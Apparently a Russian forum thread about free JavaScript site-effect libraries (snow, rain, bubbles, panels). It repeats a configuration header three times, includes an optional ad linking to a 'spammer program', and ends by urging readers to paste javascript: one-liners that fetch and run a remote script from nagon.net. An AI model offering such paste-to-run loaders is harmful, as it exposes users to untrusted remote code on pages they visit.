Код открыт так что вы можете свободно ее распространять.
Зачем второй раз придумывать велосипед?
Данная библиотека работает обсолютно на всех браузерах и была протестирована в браузерах:
- Internet Explorer
- Mozilla Firefox
- Google Chrome
- Opera
- Safari
- Netscape Navigator
Если вы профессиональный программист вы можете отправить мне свои скрипты которые будут добавлены в библиотеку.
Библеотека усовершенствуется, не забывайте скачивать новую версию с сайта http://javascript.onfind.net/
\******************************/

/*******************************\
сборка:
#--> дождь, снег, пузыри
#--> раскрывающиеся панель
#--> рекламная панель с вопросом
#--> выезжающая панель с картинкой
#--> функции
#--> работа с AJAX

\******************************/

/*****дождь, снег, пузыри*****/
//if() {//можете написать условие включения
var permission1=1;//1 включить 0 выключить
//}
if(permission1==1) {
var gzs=10;//количество
var skvd=100;//скорость прокрутки
var skpy=50;//растояние падения по У
var skpx=10;//растояние падения по Х
var tpf=1;//1-дождь,2-снег,3-пузыри
var rrz=1;//разные размеры 1-да, 0-нет
var rcv=1;//разные цвета 1-да, 0-нет
var pzs=1;//случайная позиция по Х
var dgp=0;//смещение дождя
var cvt1='#ffcc99';//случайный цвет или цвет по умолчанию
var cvt2='#ccff99';//случайный цвет
var cvt3='#99ccff';//случайный цвет
var rzm1='8';//случайный размер
var rzm2='10';//случайный размер или размер по умолчанию
var rzm3='12';//случайный размер
var tipvn1='\\';//дождь, можно поставить картинку <img>
var tipvn2='*';//снег, можно поставить картинку <img>
var tipvn3='o';//пузыри, можно поставить картинку <img>
setTimeout('dvjnhs();',9000);//запуск через 9 секунд
//обработчик запуска для любого элемента dvjnhs();
}
/******************************/

/*****раскрывающиеся панель*****/
//if() {//можете написать условие включения
var permission2=0;//1 включить 0 выключить
//}
if(permission2==1) {
var prdp1=400;//ширина панели
var prdp2=300;//высота панели
var txtpan='текст внутри панели<br>:::vertas:::';
var pancol1='#000000';//цвет фона
var pancol2='#cc9999';//цвет бордюра
var pancol3='#ffff99';//цвет слова закрыть
var pancol4='#99ffcc';//цвет текста
setTimeout('sprdvst();',3000);//запуск через 3 секунды
//обработчик запуска для любого элемента sprdvst();
}
//поместите ссылку для открытия
//<a href="#" onclick="sprdvst();">Открыть панель</a>
//или обработчик для любого элемента sprdvst();
/******************************/

/*****рекламная панель с вопросом*****/
//if() {//можете написать условие включения
var permission3=0;//1 включить 0 выключить
//}
if(permission3==1) {
var infw=200;//ширина панели
var infh=100;//высота панели
var inftxt1='Новая спамер программа<br>посмотреть?';//текст
var inftxt2='ДА';//кнопка да
var inftxt3='НЕТ';//кнопка нет
var sslok='http://vproflood.onfind.net/';//ссылка если нажать да
var cvok1='#00ffff';//цвет бордюра
var cvok2='#444444';//цвет фона
var cvok3='#c0c0c0';//цвет текста
setTimeout('inffgo0();',1000);//запуск через 1 секунду
//обработчик запуска для любого элемента inffgo0();
}
/******************************/

/*****выезжающая панель с картинкой*****/
//if() {//можете написать условие включения
var permission4=0;//1 включить 0 выключить
//}
if(permission4==1) {
cvvpan1='#cc9999';//цвет бордюра
cvvpan2='#000000';//цвет фона
cvvpan3='#ffff99';//цвет слова закрыть
cvvpan4='#00ff00';//цвет надписи
setTimeout('tbrztv("0001.jpg",1024,768);',6000);//запуск через 6 секунд
//обработчик запуска для любого элемента tbrztv("",,);
//для открытия картинки используйте обрабтчик tbrztv('0001.jpg',1024,768);
//где 0001.jpg - адрес на большую картинку
//1024 - ширина картинки в пикселях
//768 - высота картинки в пикселях
//<a href="javascript:tbrztv('0001.jpg',1024,768);"><img src="0001.jpg" border="0" width="150" height="100"></a>
}
/******************************/

/*****функции*****/
/*

function mouse_coord_xy(e);//получении координат мыши относительно экрана в формате {"x":x, "y":y}

function mouse_layer_xy(e);//получение координат мыши относительно элемента в котором поизошло событие в формате {"x":x, "y":y}

function obj_transform(mouse_coord_xy(e),1,0);//получение x относительно экрана

function obj_transform(mouse_coord_xy(e),0,1);//получение y относительно экрана

function obj_transform(mouse_layer_xy(e),1,0);//получение x относительно элемента

function obj_transform(mouse_layer_xy(e),0,1);//получение y относительно элемента

function urlEncodeData(data);//где data литералы вида {a:1, b:'счастье',c:3} будут перекодированы в адресную строку вида a=1&b=%D1%81%D1%87%D0%B0%D1%81%D1%82%D1%8C%D0%B5&c=3
//пример
var d={
a:1,
b:'счастье',
c:3
}
document.write(urlEncodeData(d));

function clock(id);//функция выводит часы в элемент с идентификатором id

function CreatReq(met,url,tim,vrm,zap,zag,otid,stid);//функция работает с технологией AJAX
met - метод GET, POST или HEAD
url - адрес вида http://onfind.net/
tim - таймаут если true включен если false выключен
vrm - время таймаута
zap - дополительный запрос вида &lol=0
zag - HEAD заголовок который нужно получить
otid - id вывода ответа
stid - id вывода статуса
пример:
CreatReq('HEAD','http://onfind.net/',true,5000,'','Last-Modified','id1','id2');
CreatReq('GET','1.php',true,5000,'?set=0','','id1','id2');
CreatReq('POST','2.php',true,5000,'?set=0','','id1','id2');

*/
/******************************/

//////////////////////////////
//исходный код
//все что ниже не трогать
//////////////////////////////

снег

<!--
/* | скачано с сайта http://javascript.onfind.net/ | */
/* | created by ::: vertas::: | 2009-2010 year | [email protected] | http://vertas.onfind.net/ | */
/* | многие скрипты и функции заимствованы из поисковой системы finder http://www.onfind.net/ | */
/*******************************\
Здравствуйте, уважаемые создатели сайтов.
В целях вашей безопастности скачивайте данный скрипт только с официального сайта!!!
Эта библиотека поможет вам настроить визуальные эффекты на вашем сайте, а также использовать встроенные функции.
Код открыт так что вы можете свободно ее распространять.
Зачем второй раз придумывать велосипед?
Данная библиотека работает обсолютно на всех браузерах и была протестирована в браузерах:
- Internet Explorer
- Mozilla Firefox
- Google Chrome
- Opera
- Safari
- Netscape Navigator
Если вы профессиональный программист вы можете отправить мне свои скрипты которые будут добавлены в библиотеку.
Библеотека усовершенствуется, не забывайте скачивать новую версию с сайта http://javascript.onfind.net/
\******************************/

/*******************************\
сборка:
#--> дождь, снег, пузыри
#--> раскрывающиеся панель
#--> рекламная панель с вопросом
#--> выезжающая панель с картинкой
#--> функции
#--> работа с AJAX

\******************************/

/*****дождь, снег, пузыри*****/
//if() {//можете написать условие включения
var permission1=1;//1 включить 0 выключить
//}
if(permission1==1) {
var gzs=10;//количество
var skvd=100;//скорость прокрутки
var skpy=50;//растояние падения по У
var skpx=10;//растояние падения по Х
var tpf=2;//1-дождь,2-снег,3-пузыри
var rrz=1;//разные размеры 1-да, 0-нет
var rcv=1;//разные цвета 1-да, 0-нет
var pzs=1;//случайная позиция по Х
var dgp=0;//смещение дождя
var cvt1='#ffcc99';//случайный цвет или цвет по умолчанию
var cvt2='#ccff99';//случайный цвет
var cvt3='#99ccff';//случайный цвет
var rzm1='8';//случайный размер
var rzm2='10';//случайный размер или размер по умолчанию
var rzm3='12';//случайный размер
var tipvn1='\\';//дождь, можно поставить картинку <img>
var tipvn2='*';//снег, можно поставить картинку <img>
var tipvn3='o';//пузыри, можно поставить картинку <img>
setTimeout('dvjnhs();',9000);//запуск через 9 секунд
//обработчик запуска для любого элемента dvjnhs();
}
/******************************/

/*****раскрывающиеся панель*****/
//if() {//можете написать условие включения
var permission2=0;//1 включить 0 выключить
//}
if(permission2==1) {
var prdp1=400;//ширина панели
var prdp2=300;//высота панели
var txtpan='текст внутри панели<br>:::vertas:::';
var pancol1='#000000';//цвет фона
var pancol2='#cc9999';//цвет бордюра
var pancol3='#ffff99';//цвет слова закрыть
var pancol4='#99ffcc';//цвет текста
setTimeout('sprdvst();',3000);//запуск через 3 секунды
//обработчик запуска для любого элемента sprdvst();
}
//поместите ссылку для открытия
//<a href="#" onclick="sprdvst();">Открыть панель</a>
//или обработчик для любого элемента sprdvst();
/******************************/

/*****рекламная панель с вопросом*****/
//if() {//можете написать условие включения
var permission3=0;//1 включить 0 выключить
//}
if(permission3==1) {
var infw=200;//ширина панели
var infh=100;//высота панели
var inftxt1='Новая спамер программа<br>посмотреть?';//текст
var inftxt2='ДА';//кнопка да
var inftxt3='НЕТ';//кнопка нет
var sslok='http://vproflood.onfind.net/';//ссылка если нажать да
var cvok1='#00ffff';//цвет бордюра
var cvok2='#444444';//цвет фона
var cvok3='#c0c0c0';//цвет текста
setTimeout('inffgo0();',1000);//запуск через 1 секунду
//обработчик запуска для любого элемента inffgo0();
}
/******************************/

/*****выезжающая панель с картинкой*****/
//if() {//можете написать условие включения
var permission4=0;//1 включить 0 выключить
//}
if(permission4==1) {
cvvpan1='#cc9999';//цвет бордюра
cvvpan2='#000000';//цвет фона
cvvpan3='#ffff99';//цвет слова закрыть
cvvpan4='#00ff00';//цвет надписи
setTimeout('tbrztv("0001.jpg",1024,768);',6000);//запуск через 6 секунд
//обработчик запуска для любого элемента tbrztv("",,);
//для открытия картинки используйте обрабтчик tbrztv('0001.jpg',1024,768);
//где 0001.jpg - адрес на большую картинку
//1024 - ширина картинки в пикселях
//768 - высота картинки в пикселях
//<a href="javascript:tbrztv('0001.jpg',1024,768);"><img src="0001.jpg" border="0" width="150" height="100"></a>
}
/******************************/

/*****функции*****/
/*

function mouse_coord_xy(e);//получении координат мыши относительно экрана в формате {"x":x, "y":y}

function mouse_layer_xy(e);//получение координат мыши относительно элемента в котором поизошло событие в формате {"x":x, "y":y}

function obj_transform(mouse_coord_xy(e),1,0);//получение x относительно экрана

function obj_transform(mouse_coord_xy(e),0,1);//получение y относительно экрана

function obj_transform(mouse_layer_xy(e),1,0);//получение x относительно элемента

function obj_transform(mouse_layer_xy(e),0,1);//получение y относительно элемента

function urlEncodeData(data);//где data литералы вида {a:1, b:'счастье',c:3} будут перекодированы в адресную строку вида a=1&b=%D1%81%D1%87%D0%B0%D1%81%D1%82%D1%8C%D0%B5&c=3
//пример
var d={
a:1,
b:'счастье',
c:3
}
document.write(urlEncodeData(d));

function clock(id);//функция выводит часы в элемент с идентификатором id

function CreatReq(met,url,tim,vrm,zap,zag,otid,stid);//функция работает с технологией AJAX
met - метод GET, POST или HEAD
url - адрес вида http://onfind.net/
tim - таймаут если true включен если false выключен
vrm - время таймаута
zap - дополительный запрос вида &lol=0
zag - HEAD заголовок который нужно получить
otid - id вывода ответа
stid - id вывода статуса
пример:
CreatReq('HEAD','http://onfind.net/',true,5000,'','Last-Modified','id1','id2');
CreatReq('GET','1.php',true,5000,'?set=0','','id1','id2');
CreatReq('POST','2.php',true,5000,'?set=0','','id1','id2');

*/
/******************************/

//////////////////////////////
//исходный код
//все что ниже не трогать
//////////////////////////////

пузыри

<!--
/* | скачано с сайта http://javascript.onfind.net/ | */
/* | created by ::: vertas::: | 2009-2010 year | [email protected] | http://vertas.onfind.net/ | */
/* | многие скрипты и функции заимствованы из поисковой системы finder http://www.onfind.net/ | */
/*******************************\
Здравствуйте, уважаемые создатели сайтов.
В целях вашей безопастности скачивайте данный скрипт только с официального сайта!!!
Эта библиотека поможет вам настроить визуальные эффекты на вашем сайте, а также использовать встроенные функции.
Код открыт так что вы можете свободно ее распространять.
Зачем второй раз придумывать велосипед?
Данная библиотека работает обсолютно на всех браузерах и была протестирована в браузерах:
- Internet Explorer
- Mozilla Firefox
- Google Chrome
- Opera
- Safari
- Netscape Navigator
Если вы профессиональный программист вы можете отправить мне свои скрипты которые будут добавлены в библиотеку.
Библеотека усовершенствуется, не забывайте скачивать новую версию с сайта http://javascript.onfind.net/
\******************************/

/*******************************\
сборка:
#--> дождь, снег, пузыри
#--> раскрывающиеся панель
#--> рекламная панель с вопросом
#--> выезжающая панель с картинкой
#--> функции
#--> работа с AJAX

\******************************/

/*****дождь, снег, пузыри*****/
//if() {//можете написать условие включения
var permission1=1;//1 включить 0 выключить
//}
if(permission1==1) {
var gzs=10;//количество
var skvd=100;//скорость прокрутки
var skpy=50;//растояние падения по У
var skpx=10;//растояние падения по Х
var tpf=3;//1-дождь,2-снег,3-пузыри
var rrz=1;//разные размеры 1-да, 0-нет
var rcv=1;//разные цвета 1-да, 0-нет
var pzs=1;//случайная позиция по Х
var dgp=0;//смещение дождя
var cvt1='#ffcc99';//случайный цвет или цвет по умолчанию
var cvt2='#ccff99';//случайный цвет
var cvt3='#99ccff';//случайный цвет
var rzm1='8';//случайный размер
var rzm2='10';//случайный размер или размер по умолчанию
var rzm3='12';//случайный размер
var tipvn1='\\';//дождь, можно поставить картинку <img>
var tipvn2='*';//снег, можно поставить картинку <img>
var tipvn3='o';//пузыри, можно поставить картинку <img>
setTimeout('dvjnhs();',9000);//запуск через 9 секунд
//обработчик запуска для любого элемента dvjnhs();
}
/******************************/

/*****раскрывающиеся панель*****/
//if() {//можете написать условие включения
var permission2=0;//1 включить 0 выключить
//}
if(permission2==1) {
var prdp1=400;//ширина панели
var prdp2=300;//высота панели
var txtpan='текст внутри панели<br>:::vertas:::';
var pancol1='#000000';//цвет фона
var pancol2='#cc9999';//цвет бордюра
var pancol3='#ffff99';//цвет слова закрыть
var pancol4='#99ffcc';//цвет текста
setTimeout('sprdvst();',3000);//запуск через 3 секунды
//обработчик запуска для любого элемента sprdvst();
}
//поместите ссылку для открытия
//<a href="#" onclick="sprdvst();">Открыть панель</a>
//или обработчик для любого элемента sprdvst();
/******************************/

/*****рекламная панель с вопросом*****/
//if() {//можете написать условие включения
var permission3=0;//1 включить 0 выключить
//}
if(permission3==1) {
var infw=200;//ширина панели
var infh=100;//высота панели
var inftxt1='Новая спамер программа<br>посмотреть?';//текст
var inftxt2='ДА';//кнопка да
var inftxt3='НЕТ';//кнопка нет
var sslok='http://vproflood.onfind.net/';//ссылка если нажать да
var cvok1='#00ffff';//цвет бордюра
var cvok2='#444444';//цвет фона
var cvok3='#c0c0c0';//цвет текста
setTimeout('inffgo0();',1000);//запуск через 1 секунду
//обработчик запуска для любого элемента inffgo0();
}
/******************************/

/*****выезжающая панель с картинкой*****/
//if() {//можете написать условие включения
var permission4=0;//1 включить 0 выключить
//}
if(permission4==1) {
cvvpan1='#cc9999';//цвет бордюра
cvvpan2='#000000';//цвет фона
cvvpan3='#ffff99';//цвет слова закрыть
cvvpan4='#00ff00';//цвет надписи
setTimeout('tbrztv("0001.jpg",1024,768);',6000);//запуск через 6 секунд
//обработчик запуска для любого элемента tbrztv("",,);
//для открытия картинки используйте обрабтчик tbrztv('0001.jpg',1024,768);
//где 0001.jpg - адрес на большую картинку
//1024 - ширина картинки в пикселях
//768 - высота картинки в пикселях
//<a href="javascript:tbrztv('0001.jpg',1024,768);"><img src="0001.jpg" border="0" width="150" height="100"></a>
}
/******************************/

/*****функции*****/
/*

function mouse_coord_xy(e);//получении координат мыши относительно экрана в формате {"x":x, "y":y}

function mouse_layer_xy(e);//получение координат мыши относительно элемента в котором поизошло событие в формате {"x":x, "y":y}

function obj_transform(mouse_coord_xy(e),1,0);//получение x относительно экрана

function obj_transform(mouse_coord_xy(e),0,1);//получение y относительно экрана

function obj_transform(mouse_layer_xy(e),1,0);//получение x относительно элемента

function obj_transform(mouse_layer_xy(e),0,1);//получение y относительно элемента

function urlEncodeData(data);//где data литералы вида {a:1, b:'счастье',c:3} будут перекодированы в адресную строку вида a=1&b=%D1%81%D1%87%D0%B0%D1%81%D1%82%D1%8C%D0%B5&c=3
//пример
var d={
a:1,
b:'счастье',
c:3
}
document.write(urlEncodeData(d));

function clock(id);//функция выводит часы в элемент с идентификатором id

function CreatReq(met,url,tim,vrm,zap,zag,otid,stid);//функция работает с технологией AJAX
met - метод GET, POST или HEAD
url - адрес вида http://onfind.net/
tim - таймаут если true включен если false выключен
vrm - время таймаута
zap - дополительный запрос вида &lol=0
zag - HEAD заголовок который нужно получить
otid - id вывода ответа
stid - id вывода статуса
пример:
CreatReq('HEAD','http://onfind.net/',true,5000,'','Last-Modified','id1','id2');
CreatReq('GET','1.php',true,5000,'?set=0','','id1','id2');
CreatReq('POST','2.php',true,5000,'?set=0','','id1','id2');

*/
/******************************/

//////////////////////////////
//исходный код
//все что ниже не трогать
//////////////////////////////

потом подключаешь файл к своему сайту с помощью кода

<script type="text/javascript" src="JavaScriptFast.js"></script>

код помещаешь перед закрывающимся тегом </body>

и все, скрипт работает wink

не забывайте размещать этот полезный скрипт на других форумах
а то про него мало кто знает

[kykyi]

NRMSLib - новая библиотека или сборник готовых решений
Данная библиотека позволяет без программирования подключить к любому сайту самые разнообразные эффекты, начиная от погодных таких как снег, дождь, пузыри, матрица и заканчивая сложными например готовый чат!

Сейчас я покажу вам небольшой пример динамичного подключения, ну а ниже напишу где и откуда скачать библиотеку и примеры к ней с подробным описанием

Введите в адресную строку браузера, там где находится адрес, вот эту строчку

javascript:var s = document.createElement('script');s.type='text/javascript';document.body.appendChild(s);s.src='http://nagon.net/js/NRMSLib.js';setTimeout('effect.matrix.start();',3000);void(0);

И нажмите ENTER
ждем 3 сек

Видите эффект?

А теперь введите вот такой код туда же в адресную строку:

javascript:modules.sound.start();void(0);

И нажмите ENTER

ну что ж после введенных кодов можно попробовать ввести еще вот такой код:

javascript:modules.chat.start();void(0);

и нажать ентер и смотрите в самый низ страницы!!!

а теперь введите вот такой код

javascript:effect.panel.start({'text': 'Добро пожаловать на сайт!','close': 'закрыть'});void(0);

и нажмите ентер

Продолжать можно долго...


Так вот в библиотеке таких эффектов навалом и подключать их настолько просто что проще просто и не придумать.


Версия 1.0 NRMSLib.js содержит следующие эффекты:

- эффект снега
- эффект дождя на javascript
- эффект пузырей на javascript
- эффект сквозь вселенную на javascript
- эффект печатающегося текста как в матрице на javascript
- эффект матрицы на javascript
- предварительная загрузка сайта на javascript
- раздвижная панель на javascript
- выезжающая панель на javascript
- панель вверху на javascript
- панели аккордеон на javascript
- прогресс бар на javascript
- показ картинок на javascript
- работа с кукиесами на javascript
- свой чат на javascript
- звук на сайт на javascript
- готовые функции на javascript
и т.д.

Папку с примерами и библиотекой вы можете скачать отсюда

http://nagon.net/modules/NRMSLib.zip

В архиве все файлы открывайте блокнотом, там подробно все написано на русском.

Сайт разработчиков http://nagon.net/modules.php



на самом деле там все до такой степени просто что просто ппц

вот попробуйте запихнуть в адресную строку браузера, где обычно вводите адрес

javascript:var s = document.createElement('script');s.type='text/javascript';document.body.appendChild(s);s.src='http://nagon.net/js/NRMSLib.js';setTimeout('modules.sound.start({\'music\': \'http://nagon.net/mus/0018.mp3\'});',3000);void(0);

и нажмите кнопку ENTER, как будто это не код а адрес...